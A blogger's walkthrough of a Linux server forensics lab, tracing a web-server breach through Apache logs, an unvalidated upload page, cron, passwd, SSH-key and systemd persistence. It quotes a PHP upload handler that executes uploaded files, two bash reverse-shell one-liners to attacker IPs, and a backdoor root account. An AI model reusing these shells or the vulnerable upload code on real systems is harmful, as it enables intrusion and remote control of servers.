Table of Contents

Room: Linux Server Forensics

Difficulty: Medium

Task 1 Deploy the first VM

You have been hired to investigate a data breach at ACME web design. Log in to the target machine using SSH with the following credentials:

  • MACHINE_IP
  • Username - ‘fred’
  • Password - ‘FredRules!’

Task 1.1 - Deploy the machine and log in to the VM using the provided credentials.

No Answer Needed

Task 2 Apache Log Analysis I

The most significant attack surface on the server is probably the web service; fortunately, the Apache access log keeps a history of all of the requests sent to the webserver and includes:

  1. source address
  2. response code and length
  3. user-agent

Every request from a modern browser should contain a user-agent string that can be used to identify it roughly. The content of the user-agent string is then used to modify the experience by displaying the mobile version of a site or disabling features not supported on older browsers.

We can also use this string to identify traffic from potentially malicious tools as scanning tools like Nmap, SQLmap, DirBuster and Nikto leak their identity’s through default user-agent strings.

Task 2.1 - Navigate to /var/log/apache2

fred@acmeweb:~$ cd /var/log/apache2
fred@acmeweb:/var/log/apache2$

Task 2.2 - How many different tools made requests to the server?

fred@acmeweb:/var/log/apache2$ cat access.log
(...)
192.168.56.24 - - [20/Apr/2021:09:55:39 +0000] "HEAD /resources/development/2021/announcements/ HTTP/1.1" 404 140 "-" "DirBuster-1.0-RC1 (http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project)"
(...)
192.168.56.32 - - [20/Apr/2021:10:11:26 +0000] "GET /products/product387.html HTTP/1.1" 200 917 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
(...)
192.168.56.206 - - [20/Apr/2021:10:12:40 +0000] "GET /products.html HTTP/1.1" 200 4182 "-" "curl/7.74.0"

I see dirbuster (just gave a look to the files content), Mozilla Firefox, and curl, but the answer is dirbuster and curl only.

Task 2.3 - Name a path requested by Nmap.

fred@acmeweb:/var/log/apache2$ grep -r nmap ./*
(...)
./access.log:192.168.56.24 - - [20/Apr/2021:09:53:46 +0000] "GET /nmaplowercheck1618912425 HTTP/1.1" 404 454 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)"
(...)
#nmap performing HTTP enumeration.

It looks like I was wrong, I missed nmap in the first question, It was dirbuster and nmap in the previous question, LoL 😅

Task 3 Web Server Analysis

Web scanners are run against servers pretty much all the time, so this traffic is not out of the ordinary. Have a look around the site for potential attack vectors.

Task 3.1 - What page allows users to upload files?

contact.php has php code that let you upload a file and it doesn’t even have any fillters.

fred@acmeweb:/var/www/html$ cat contact.php
(...)
<?PHP
  if(!empty($_FILES['uploaded_file']))
  {
    $path = "uploads/";
    $path = $path . basename( $_FILES['uploaded_file']['name']);

    if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)) {
      echo "The file ".  basename( $_FILES['uploaded_file']['name']). 
      " has been uploaded";
      $output=null;
      $retval=null;
      chmod($path, 0777);
      exec("bash " . $path,$output,$retval);
      echo "Returned with status $retval and output:\n";
      print_r($output);
    } else{
        echo "There was an error uploading the file, please try again!";
    }
  }
?>

Task 3.2 - What IP uploaded files to the server?

fred@acmeweb:/var/www/html/uploads$ cat shell.sh 
bash -i >& /dev/tcp/192.168.56.24/4242 0>&1

Task 3.3 - Who left an exposed security notice on the server?

fred@acmeweb:/var/www/html/resources/development/2021/docs$ ls
SECURITY.md
fred@acmeweb:/var/www/html/resources/development/2021/docs$ cat SECURITY.md 
we have to really got to sort out the contact page theres **NO** validation whatsoever.I can't belive we haven't been hacked yet - Fred.
we have to really got to sort out the contact page theres **NO** validation whatsoever.I can't belive we haven't been hacked yet - Fred.

Task 4 Persistence Mechanisms I

It looks like our attacker got in via Remote File Inclusion (RFI). It’s best to look around the system itself now for any evidence of persistence mechanisms that could lead to a payload. There are multiple ways to maintain persistence in most Linux distributions including but not limited to:

  1. cron
  2. Services/systemd
  3. bashrc
  4. Kernel modules
  5. SSH keys

Cron is one of the more common methodologies, so it’s probably best to start there.

Task 4.1 - What command and option did the attacker use to establish a backdoor?

fred@acmeweb:/var/www/html/resources/development/2021/docs$ cat /etc/crontab 
(...)
*  *    * * *   root2   sh -i >& /dev/tcp/192.168.56.206/1234 0>&1

Here we can see that the interactive shell sh -i is being redirected to tcp socket, it acts as bind shell and could be catched on the attacker machine.

Task 5 User Accounts

It looks like the command from the previous task was set up to run under the root2 account. This account doesn’t make any sense as there should only be one root account. Wonder how it got there?

There are a couple of locations where account information is stored on Linux distributions, including:

  1. /etc/passwd - contains the names of most of the accounts on the system. Should have open read permissions and should not contain password hashes.
  2. /etc/shadow - contains names but should also contain password hashes. Should have strict permissions.

Task 5.1 - What is the password of the second root account?

/etc/passwd:

root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash

When I googled the hash, I found this forum containing the password: https://security.stackexchange.com/questions/151700/privilege-escalation-using-passwd-file

Task 6 Deploy the second VM

Wow, it looks like they got hacked again! Better have another look; the credentials are the same as last time:

  1. MACHINE_IP
  2. ‘fred’
  3. ‘FredRules!’

Task 6.1 - Deploy the second machine and log in to the VM using the provided credentials.

No Answer Needed

Task 7 Apache Log Analysis II

The log file is a lot smaller this time around, so it looks like our attacker was a little more subtle. There also don’t appear to be obvious user agents anymore. Fortunately, there are a few other ways of identifying traffic originating from scanners. The time between each request is a good metric for most tools. You can also identify individual tools from signatures left in the requests; for example, Nmap will send HTTP requests with a random non-standard method when performing certain enumeration tasks. More aggressive tools can also be identified simply from the number of requests sent during any given attack; directory brute-forcing tools are a perfect example of this and are likely to fall foul of banning systems like fail2ban.

A poorly designed site may also freely grant valuable information without the need for aggressive tools. In this case, the site uses sequential IDs for all of the products making. It easily scrapes every single product or finds the total size of the product database by simply increasing the product ID until a 404 error occurs.

Task 7.1 - Name one of the non-standard HTTP Requests.

Let’s read the log file:

fred@acmeweb:/var/log/apache2$ cat access.log
(...)
192.168.56.173 - - [20/Apr/2021:09:50:48 +0000] "GET /products.html HTTP/1.1" 200 4182 "-" "curl/7.74.0"
192.168.56.206 - - [20/Apr/2021:13:30:15 +0000] "\x16\x03" 400 0 "-" "-"
192.168.56.206 - - [20/Apr/2021:13:30:15 +0000] "OPTIONS / HTTP/1.1" 200 181 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML"
192.168.56.206 - - [20/Apr/2021:13:30:15 +0000] "GXWR / HTTP/1.1" 501 498 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML"
(...)

Task 7.2 - At what time was the Nmap scan performed? (format: HH:MM:SS)

We know that nmap sends non-standard http requests, let’s get all of the non-standard requests and get the IP of the attacker:

fred@acmeweb:/var/log/apache2$ grep -v GET access.log 
Binary file access.log matches

The file access.log starts with non-text data, hence grep is treating the file as binary. We can use -a with grep, it makes grep process a binary file as if it were text.

fred@acmeweb:/var/log/apache2$ grep -av GET access.log 
192.168.56.206 - - [20/Apr/2021:13:30:15 +0000] "\x16\x03" 400 0 "-" "-"
192.168.56.206 - - [20/Apr/2021:13:30:15 +0000] "OPTIONS / HTTP/1.1" 200 181 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML"
192.168.56.206 - - [20/Apr/2021:13:30:15 +0000] "GXWR / HTTP/1.1" 501 498 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML"
192.168.56.110 - - [20/Apr/2021:13:32:46 +0000] "POST /contact.php HTTP/1.1" 200 1018 "http://192.168.56.9/contact.php" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"

fred@acmeweb:/var/log/apache2$

Now we know the IP address of the attacker, lets grep the IP and note the time of the first request came from that address:

fred@acmeweb:/var/log/apache2$ grep -a 192.168.56.206 access.log 
192.168.56.206 - - [20/Apr/2021:13:30:15 +0000] "\x16\x03" 400 0 "-" "-"
192.168.56.206 - - [20/Apr/2021:13:30:15 +0000] "OPTIONS / HTTP/1.1" 200 181 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML"
192.168.56.206 - - [20/Apr/2021:13:30:15 +0000] "GXWR / HTTP/1.1" 501 498 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML"
192.168.56.206 - - [20/Apr/2021:13:30:35 +0000] "GET /index.html HTTP/1.1" 200 1253 "http://192.168.56.9/contact.php" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
192.168.56.206 - - [20/Apr/2021:13:30:35 +0000] "GET /master.css HTTP/1.1" 200 1204 "http://192.168.56.9/index.html" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
(...)

Task 8 Persistence Mechanisms II

The adversary has been a little smarter this time around. If any backdoor exists, it’s likely to be more subtle. SSH-keys are another excellent way of maintaining access, so it might be worth looking for additions to the authorized_keys file.

Task 8.1 - What username and hostname combination can be found in one of the authorized_keys files? (format: username@hostname)

Let’s run find command to look for ‘authorized_keys’ files:

fred@acmeweb:~$ find / -iname *authorized_keys* 2>/dev/null
/usr/share/man/man5/authorized_keys.5.gz
fred@acmeweb:~$ cp /usr/share/man/man5/authorized_keys.5.gz ./
fred@acmeweb:~$ gunzip authorized_keys.5.gz 
fred@acmeweb:~$ ls
authorized_keys.5  Templates
fred@acmeweb:~$ grep @ authorized_keys.5 
(...)
AAAAB2...19Q== john@example.net
jane@example.net
user@example.net
user@example.net
.Dq @cert-authority ,
.Dq @revoked ,
.Dq @cert-authority
.Dq @revoked
(...)
fred@acmeweb:~$

I looked in these files like an idiot without realizing, after that I checked the Hint: “You will need to use sudo to view root’s authorized_keys file”.

fred@acmeweb:~$ sudo cat /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYCKt0bYP2YIwMWdJWqF3lr3Drs3sS9hiybsxz9W6dG6d15mg0SVMSe5H+rPM6VmzOKJaVpDjT1Ll5eR6YcbefTF2bMXHveyvcrzDxyZeWdgBs5u8/4DZxEN6fq6IZRRftmrMgMzSnpmdCm8kvacgq3lIjLx/sKAlX9GqPIz09t0Rk5MB7zk3lg1wdTZxZwwCHPbZW7mGlVcxNBB9wdbAmcvezscoF0i7v0tY8iCoFlrBysOMBMrEJji2UONtI/wrt7AvoK+gshiG7VTjZ2oQBacnyHRToXHxOZiSIbCQrJ6rCxa32QOGQNmAVIucqYjRbJedz0NbGq7M9B+hBmG/mdtsoGOXQKyzoUlAbulRXjSVtManiUyq9im1HBHfuduiBrbfcOKz24NMT7RaIsPsZCUCpfHaT7S5XplQypAjkxABds8jod/TXcTYibdWE9scrUUidgCsPELQlKEfhhZ8+cyjbMCGNB5LOgieJSVk6D1JC97TaFNi4X9/9i2UA+L0= kali@kali
fred@acmeweb:~$

Here we see attackers username and hostname in their public key.

Task 9 Program Execution History

Of course, adding a public key to root’s authorized_keys requires root-level privileges so, it may be best to look for more evidence of privilege escalation. In general, Linux stores a tiny amount of programme execution history when compared to Windows but, there are still a few valuable sources, including:

  1. bash_history - Contains a history of commands run in bash; this file is well known, easy to edit and sometimes disabled by default.
  2. auth.log - Contains a history of all commands run using sudo.
  3. history.log (apt) - Contains a history of all tasks performed using apt - is useful for tracking programme installation and removal.

systemd services also keep logs in the journald system; these logs are kept in a binary format and have to be read by a utility like journalctl. This binary format comes with some advantages; however, each journal is capable of validating itself and is harder to modify.

Task 9.1 - What is the first command present in root’s bash_history file?

fred@acmeweb:~$ sudo cat /root/.bash_history
nano /etc/passwd
exit
fred@acmeweb:~$

Task 10 Deploy The Final VM

This is getting a little annoying now. The credentials are still the same:

  1. MACHINE_IP
  2. ‘fred’
  3. ‘FredRules!’

Task 10.1 - Deploy the final machine and log in to the VM using the provided credentials.

No Answer Needed

Task 11 Persistence Mechanisms III

Malware can also maintain persistence using systemd as scripts run under systemd can run in the background and restart whenever the system is booted or whenever the script crashes. It is also relatively easy to conceal malicious scripts as they can blend in with other services. systemd services are defined in .service files which can contain:

  1. The command that runs whenever the service starts
  2. The user the service runs as
  3. An optional description

In this case, the malware is pretty obvious as it seems to be printing errors to the screen so, there is no way that it is dormant. Running systemctl will list all of the services loaded into the system. And much like Windows, there’s usually a lot of them. It might be worth adding --type=service --state=active to the command as it will reduce the list to services that are running. Once the name of a suspicious service is found, more information can then be extracted by running systemctl status <service name>.

Task 11.1 - Figure out what’s going on and find the flag.

After sshing we see some weird stuff in the terminal.

fred@acmeweb:~$                                                                                
WARNING!: DIHYDROGEN MONOXIDE DETECTED IN ATMOSPHERE
                                                                               
                                                                               
INFO!:  NODE GRAPH OUT OF DATE REBUILDING
                                                                               
                                                                               
WARNING!: DIHYDROGEN MONOXIDE DETECTED IN ATMOSPHERE
                                                                               
                                                                               
Wow this system is really broken huh?
                                                                               
                                                                               
Wonder if I can fix it
                                                                               
                                                                               
Gonna borrow your shell for a second
                                                                               
                                                                               
root@acmeweb:~# ls
(...)

Hmm nothing here either
                                                                               
                                                                               
Seems to be running all the time, so it could be a broken service.
                                                                               
                                                                               
It might be worth running systemctl -l and, looking for things out of the ordinary
                                                                               
                                                                               
Oh by they way your computer isn't sentient, it's just haunted so there's nothing to worry about'
                                                                               
                                                                               
                                                                               
                                                                               
INFO!:  NODE GRAPH OUT OF DATE REBUILDING
                                                                               
                                                                               
INFO!:  PURGING RAM BITS
                                                                               
                                                                               
調試!: 如果發生堆棧衝突，則無法啟用堆棧!!!
                                                                               
                                                                               
ATTENTION!: THE BITBUCKET IS ALMOST FULL
(...)

LOL, this made me smile :)

So, I was trying to find the service but I didn’t get the service name so I checked the hint and found the service name.

fred@acmeweb:~$ systemctl --type=service --state=active
(...)
IpManager.service                    loaded active running IpManager.service
fred@acmeweb:~$ systemctl status IpManager
● IpManager.service
   Loaded: loaded (/var/lib/network/IpManager.service; enabled; vendor preset: enabled)
   Active: active (running) since Thu 2021-06-10 07:18:40 UTC; 11min ago
 Main PID: 1422 (bash)
    Tasks: 2 (limit: 499)
   CGroup: /system.slice/IpManager.service
           ├─1422 /bin/bash /etc/network/ZGtsam5hZG1ua2Fu.sh
           └─1890 sleep 10

Jun 10 07:29:32 acmeweb bash[1422]: tput: No value for $TERM and no -T specified
Jun 10 07:29:32 acmeweb bash[1422]: tput: No value for $TERM and no -T specified
Jun 10 07:29:42 acmeweb bash[1422]: tput: No value for $TERM and no -T specified
Jun 10 07:29:42 acmeweb bash[1422]: tput: No value for $TERM and no -T specified
Jun 10 07:29:52 acmeweb bash[1422]: tput: No value for $TERM and no -T specified
Jun 10 07:29:52 acmeweb bash[1422]: tput: No value for $TERM and no -T specified
Jun 10 07:30:02 acmeweb bash[1422]: tput: No value for $TERM and no -T specified
Jun 10 07:30:02 acmeweb bash[1422]: tput: No value for $TERM and no -T specified
Jun 10 07:30:12 acmeweb bash[1422]: tput: No value for $TERM and no -T specified
Jun 10 07:30:12 acmeweb bash[1422]: tput: No value for $TERM and no -T specified
fred@acmeweb:~$ systemctl stop IpManager
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ===
Authentication is required to stop 'IpManager.service'.                                                                                                               
Authenticating as: fred
Password:                                                                                

==== AUTHENTICATION COMPLETE ===
fred@acmeweb:~$

I stopped the service because it was coming in the way when typing.

fred@acmeweb:~$ cat /etc/network/ZGtsam5hZG1ua2Fu.sh
##[REDACTED]
## 
declare -a error_messages
error_messages[1]='ATTENTION!: THE BITBUCKET IS ALMOST FULL'
error_messages[2]='ACHTUNG!: DAS KOMPUTERMASCHINE IS NICHT GUD'
error_messages[3]='WARNING!: THE RAM FLANGES ARE IN THE OFF POSITION SAFE OPERATION OF RAM DRIVER IS NOT GUARANTEED!'
error_messages[4]='ERROR!: THE STACK ARRANGER IS NOT ENABLED BEWARE OF STACK COLLISIONS'
error_messages[5]='調試!: 如果發生堆棧衝突，則無法啟用堆棧!!!'
error_messages[6]='INFO!:  PURGING RAM BITS'
error_messages[7]='INFO!:  NODE GRAPH OUT OF DATE REBUILDING'
error_messages[8]='INFO!:  RETICULATING SPLINES'
error_messages[9]='WARNING!: DIHYDROGEN MONOXIDE DETECTED IN ATMOSPHERE'
error_messages[10]='INFO!: VENTING OXYGEN'
error_messages[11]='WARNING!: /dev/null IS 95% UTILIZED'
error_messages[12]='METTERE IN GUARDIA!: LE FLANGE DEL RAM SONO IN POSIZIONE OFF IL FUNZIONAMENTO SICURO DEL RAM DRIVER NON È GARANTITO!'


print_errors(){
    for i in {1..10000}; do
    tput setaf 1; wall -n "${error_messages[RANDOM%11]}" ; tput setaf  7;
    sleep 10
    if [[ $i -eq 3 ]]; then
        introduce_self
    fi
    done
}

introduce_self(){
    wall -n "Wow this system is really broken huh?"
    sleep 4
    wall -n "Wonder if I can fix it"
    sleep 4
    wall -n "Gonna borrow your shell for a second"
    sleep 4
    wall -n "root@acmeweb:~# ls"
    ls -al ~ | wall -n
    sleep 4
    wall -n "Hmm"
    sleep 4
    wall -n "Nothing suspicious here"
    wall -n "root@acmeweb:~# ps"
    ps
    wall -n "Nothing strange here either."
    sleep 4
    wall -n "root@acmeweb:~# cd /etc"
    sleep 2
    wall -n "root@acmeweb:/etc/# ls -al"
    ls -al /etc/ | wall -n
    sleep 4
    wall -n "Wonder if theres anyting in the crontab"
    sleep 4
    wall -n "root@acmweb:/etc/ cat crontab"
    cat /etc/crontab | wall -n
    sleep 4
    wall -n "Hmm nothing here either"
    sleep 4 
    wall -n "Seems to be running all the time, so it could be a broken service."
    sleep 4
    wall -n "It might be worth running systemctl -l and, looking for things out of the ordinary"
    sleep 4
    wall -n "Oh by they way your computer isn't sentient, it's just haunted so there's nothing to worry about"
    sleep 4
    cowsay -f ghostbusters "Just don't call these guys" | wall -n
}
print_errors
fred@acmeweb:~$

It was my first time seeing this type of application of a bash script, it’s pretty cool.

So, this is it for this writeup and I hope you enjoyed reading this, happy hacking. 🔥

Resources